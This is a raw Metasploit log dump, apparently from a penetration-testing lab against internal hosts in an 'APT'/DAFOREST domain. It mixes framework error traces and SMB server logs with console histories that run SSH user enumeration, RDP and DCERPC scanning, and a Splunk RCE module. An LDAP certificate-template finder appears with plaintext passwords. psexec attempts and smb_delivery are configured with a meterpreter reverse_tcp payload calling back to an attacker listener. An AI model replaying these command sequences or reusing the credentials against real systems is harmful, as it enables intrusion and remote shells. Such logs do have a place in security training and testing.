_raw:
[11/01/2025 21:00:03] [e(0)] core: Thread Exception: JobID(0)-Auxiliary: server/dns/native_server  critical=false    source:
    /usr/share/metasploit-framework/lib/metasploit/framework/thread_factory_provider.rb:25:in `spawn'
    /usr/share/metasploit-framework/lib/rex/thread_factory.rb:22:in `spawn'
    /usr/share/metasploit-framework/lib/rex/job.rb:44:in `start'
    /usr/share/metasploit-framework/lib/rex/job_container.rb:62:in `start_bg_job'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:77:in `run_simple'
    /usr/share/metasploit-framework/lib/msf/base/simple/auxiliary.rb:98:in `run_simple'
    /usr/share/metasploit-framework/lib/msf/ui/console/command_dispatcher/auxiliary.rb:66:in `cmd_run'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:582:in `run_command'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:531:in `block in run_single'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `each'
    /usr/share/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:525:in `run_single'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:165:in `block in run'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:309:in `block in with_history_manager_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell/history_manager.rb:37:in `with_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:306:in `with_history_manager_context'
    /usr/share/metasploit-framework/lib/rex/ui/text/shell.rb:133:in `run'
    /usr/share/metasploit-framework/lib/metasploit/framework/command/console.rb:54:in `start'
    /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
    /usr/bin/msfconsole:23:in `<main>' - Errno::EIO Input/output error @ io_write - <STDOUT>


_raw:
search CVE-2005-3299
search cve:2005
search phpadmin
exit


_raw: [11/01/2025 20:53:50] [e(0)] core: Exploit failed (windows/smb/psexec): Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information. - Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.


_raw: [11/01/2025 20:53:50] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/01/2025 20:50:52] [e(0)] core: Exploit failed (windows/smb/psexec): Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information. - Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.


_raw: [11/01/2025 20:50:52] [d(0)] core: Negotiated SMB version: SMB3


_raw: [11/01/2025 20:50:47] [e(0)] core: Failed to open history file: /home/pentester/.msf4/history with error: No such file or directory @ rb_sysopen - /home/pentester/.msf4/history


_raw: [11/01/2025 20:50:36] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 20:49:17] [e(0)] core: Exploit failed (multi/http/simple_backdoors_exec): Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444). - Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).


_raw: [11/01/2025 20:49:17] [d(0)] core: Module generic/shell_reverse_tcp is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module generic/shell_bind_tcp is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module generic/shell_bind_aws_ssm is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module generic/custom is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/python/meterpreter_reverse_tcp is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/python/meterpreter_reverse_https is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/python/meterpreter_reverse_http is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/python/meterpreter_bind_tcp is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_tcp_uuid is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_tcp_ssl is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_tcp is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_https is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_http is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/python/meterpreter/bind_tcp_uuid is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/python/meterpreter/bind_tcp is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/php/shell_findsock is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/php/meterpreter_reverse_tcp is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/php/meterpreter/reverse_tcp_uuid is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/php/meterpreter/reverse_tcp is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/php/meterpreter/bind_tcp_uuid is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/php/meterpreter/bind_tcp_ipv6_uuid is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/php/meterpreter/bind_tcp_ipv6 is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/php/meterpreter/bind_tcp is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/php/exec is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/php/download_exec is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:17] [d(0)] core: Module cmd/unix/bind_aws_instance_connect is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:10] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 20:49:08] [d(0)] core: Module generic/shell_reverse_tcp is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module generic/shell_bind_tcp is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module generic/shell_bind_aws_ssm is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module generic/custom is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/python/meterpreter_reverse_tcp is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/python/meterpreter_reverse_https is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/python/meterpreter_reverse_http is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/python/meterpreter_bind_tcp is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_tcp_uuid is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_tcp_ssl is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_tcp is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_https is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/python/meterpreter/reverse_http is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/python/meterpreter/bind_tcp_uuid is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/python/meterpreter/bind_tcp is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/php/shell_findsock is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/php/meterpreter_reverse_tcp is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/php/meterpreter/reverse_tcp_uuid is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/php/meterpreter/reverse_tcp is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/php/meterpreter/bind_tcp_uuid is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/php/meterpreter/bind_tcp_ipv6_uuid is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/php/meterpreter/bind_tcp_ipv6 is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/php/meterpreter/bind_tcp is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/php/exec is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/php/download_exec is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw: [11/01/2025 20:49:08] [d(0)] core: Module cmd/unix/bind_aws_instance_connect is incompatible with multi/http/simple_backdoors_exec for PayloadType: limiter was cmd


_raw:
[11/01/2025 20:49:04] [e(0)] core: Exploit failed (unix/http/splunk_xslt_authenticated_rce): RuntimeError bad-config: Fetch handler failed to start on 10.0.254.203:8080
The address is already in use or unavailable: (10.0.254.203:8080). - RuntimeError bad-config: Fetch handler failed to start on 10.0.254.203:8080
The address is already in use or unavailable: (10.0.254.203:8080).


_raw: [11/01/2025 20:48:31] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 20:47:58] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
search
search rdp
search auxillary/scanner rdp
search auxillary/scanner
search /auxillary/scanner
metasploit
search
search rdp_scanner
use 0
show options
set RHOSTS 10.0.1.20
run
clear
search rpc
clear
search msrpc
show options
run
set RDP_CLIENT_NAME DECKHAND-02
run
set RDP_USER_NAME DECKHAND-02
set RDP_USER DECKHAND-02
run
set TARGET 10.0.1.30
search auxliary/scanner/ssh
search ssh
search ssh_login
use 0
show OPTIONS
show options
search ssh_
search ssh_enumusers
use 0
show options
set RHOSTS 10.0.1.30
show actions
run
search ssh_
use 18
show options
back
set RHOSTS 10.0.1.30
use 18
show options
run
search ssh_
search openssh
use 3
show actions
show options
run
set DB_ALL_USERS true
run
back
search ssh_
use 27
show action
show actions
show options
run
set CMD whoami
run
set action Execute
run
show actions
nc 10.0.1.30
nc 10.0.1.30 22
clear
search ssh
search mikro
use 3
show options
back use 4
use 4
show options
set rport 22
run
set rport 8291
run
clear
back
search jellyfin
search jetty
set RHOSTS 10.0.1.15
use 3
show options
set RPORT 8090
run
clear
back
search jetty
use 2
show options
set RPORT 8090
ru
set RPORT 8080
run
back
search ssh
clear
search ssh
use 97
clear
show options
set RHOSTS 10.0.1.14
run
clear
search ssh
use 75
show options
run
back
search ssh
use 101
show options
run
search ecdsa
clear
search ssh
show options
back
set RHOSTS 10.0.1.14
use 101
show options
run
clear
back
clear
search commplex
search comm
clear
search decrpc
search dcerpc
set RHOSTS 10.0.1.20
use 143
show options
set NBNAME DECKHAND-01
show actions
use 148
show options
run
clear
nmap -p 135 --script=msrpc-dcom-interface-activation 10.0.1.2-0


_raw: [11/01/2025 20:46:21] [e(0)] rex: Failed to find handler for resource: /


_raw: [11/01/2025 20:45:47] [e(0)] rex: Failed to find handler for resource: /favicon.ico


_raw: [11/01/2025 20:43:38] [e(0)] core: Error running against host 10.0.1.6 - Errno::ECONNREFUSED Connection refused - recvfrom(2)


_raw: [11/01/2025 20:43:26] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw:
search nginx 1.18.0
search nginx
search gunicorn
quit


_raw:
use auxiliary/gather/ldap_esc_vulnerable_cert_finder
show options
set DOMAIN DAFOREST
set USERNAME root
set PASSWORD Control-Daemon-Snapshot-Directory-256
set RHOSTS 10.0.1.6
run
set USERNAME rdavis
set PASSWORD rosdav50
set RHOSTS 10.0.1.6
run
exit


_raw: [11/01/2025 20:33:59] [e(0)] core: Rex::Proto::DCERPC::Exceptions::Fault DCERPC FAULT => nca_s_fault_access_denied


_raw: [11/01/2025 20:33:58] [e(0)] core: Rex::Proto::DCERPC::Exceptions::Fault DCERPC FAULT => nca_s_fault_access_denied


_raw:
use exploit/windows/smb/smb_delivery
set LHOST 10.0.254.202
set SRVHOST 10.0.254.202
set payload windows/meterpreter/reverse_tcp
run
jobs
run
sessions
options
set payload windows/meterpreter/reverse_tcp
run
jobs
kill 2
run
sessions
exit


_raw: [11/01/2025 20:33:44] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 20:32:33] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 20:32:03] [e(0)] core: Exploit failed (windows/http/apache_mod_rewrite_ldap) - Msf::NoEncodersSucceededError windows/meterpreter/reverse_tcp: All encoders failed to encode.


_raw: [11/01/2025 20:31:49] [e(0)] core: rhosts walker invalid - NoMethodError undefined method `scan' for nil


_raw: [11/01/2025 20:28:29] [e(0)] core: Failed to connect to the database: No database YAML file


_raw: [11/01/2025 20:21:54] [e(0)] core: LDAP Client: Msf::Auxiliary::Failed - Msf::Auxiliary::Failed not-found: No certificate templates were found.


_raw: [11/01/2025 20:20:58] [e(0)] core: LDAP Client: Msf::Auxiliary::Failed - Msf::Auxiliary::Failed no-access: Invalid credentials provided!


_raw: [11/01/2025 20:19:06] [e(0)] core: Failed to connect to the database: No database YAML file


_raw:
clear
search Microsoft HTTPAPI httpd 2.0
search kpasswd5?
search Microsoft Terminal Services
search Simple DNS Plus
search uvicorn
search CVE:CVE-2007-6750
use 0
set RHOSTS 10.0.1.11
run
set RHOST 10.0.1.11
run
back
search CVE:CVE-2005-3299
search phpMyAdmin grab_globals
search CVE:CVE-2005-3299
use CVE:CVE-2005-3299
search Local File Inclusion
search Parameter Traversal Local File Inclusion
use php/webapps/3152.txt
search grab_globals
OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
search OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
search MySQL 8.0.43
use CVE-2016-2183
search CVE-2016-2183
quit


_raw: I, [2025-11-01T20:01:37.200165 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T20:01:37.200120 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T20:01:37.197798 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 1326961586, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T20:01:37.192505 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T20:01:37.119927 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T20:01:37.119891 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T20:01:37.117946 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 1118767097, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T20:01:37.114845 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T20:01:37.063730 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T20:01:37.063699 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T20:01:37.061565 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 3373424531, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T20:01:37.058462 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T20:01:37.006328 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T20:01:37.006297 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T20:01:37.004068 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 2668348302, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T20:01:37.000940 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T20:01:36.950391 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T20:01:36.950361 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T20:01:36.948313 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 2689253150, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T20:01:36.945034 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T20:01:36.869044 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T20:01:36.868924 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T20:01:36.864989 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 3829889967, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T20:01:36.861694 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T20:01:36.803257 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T20:01:36.803220 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T20:01:36.801221 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 3147648267, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T20:01:36.797090 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T20:01:36.742322 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T20:01:36.742287 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T20:01:36.739999 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 865867386, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T20:01:36.736589 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T20:01:36.680230 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T20:01:36.680194 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T20:01:36.677830 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 3502618148, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T20:01:36.674636 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T20:01:36.614346 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T20:01:36.614309 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T20:01:36.611105 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 2429024148, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T20:01:36.606213 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: [11/01/2025 20:01:13] [w(0)] core: IOError: stream closed in another thread


_raw: [11/01/2025 20:01:10] [e(0)] core: Exploit failed (windows/smb/smb_delivery): Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444). - Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).


_raw: I, [2025-11-01T20:00:18.786029 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T20:00:18.785998 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T20:00:18.783908 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 1655618659, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T20:00:18.780704 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T20:00:18.721176 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T20:00:18.721131 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T20:00:18.718526 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 2860817571, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T20:00:18.711638 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T20:00:18.641769 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T20:00:18.641732 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T20:00:18.639797 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 4089663110, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T20:00:18.636752 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T20:00:18.585340 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T20:00:18.585302 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T20:00:18.582743 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 733859723, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T20:00:18.579486 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T20:00:18.529268 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T20:00:18.529221 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T20:00:18.527272 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 2301498631, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T20:00:18.524157 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T20:00:18.470588 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T20:00:18.470552 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T20:00:18.468323 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 1226957724, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T20:00:18.464833 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T20:00:18.388564 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T20:00:18.388498 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T20:00:18.384213 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 3230486217, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T20:00:18.353879 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T20:00:18.194607 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T20:00:18.194491 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T20:00:18.177657 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 3790819494, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T20:00:18.160428 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T20:00:18.024868 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T20:00:18.024819 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T20:00:18.022433 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 3177167375, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T20:00:18.018665 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T20:00:17.965734 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T20:00:17.965697 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T20:00:17.963105 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 2107116367, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T20:00:17.959873 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T19:59:29.899649 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T19:59:29.899616 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T19:59:29.896887 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 1522486003, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T19:59:29.891417 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T19:59:29.821065 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T19:59:29.821031 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


_raw: D, [2025-11-01T19:59:29.818836 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: #<Session id: 778370055, user_id: nil, state: :in_progress>)


_raw: D, [2025-11-01T19:59:29.816016 #1005694] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)


_raw: I, [2025-11-01T19:59:29.769109 #1005694]  INFO -- : NTLM authentication request succeeded for APT\DECKHAND-01$ (guest)


_raw: D, [2025-11-01T19:59:29.769076 #1005694] DEBUG -- : NTLM authentication request received for APT\DECKHAND-01$


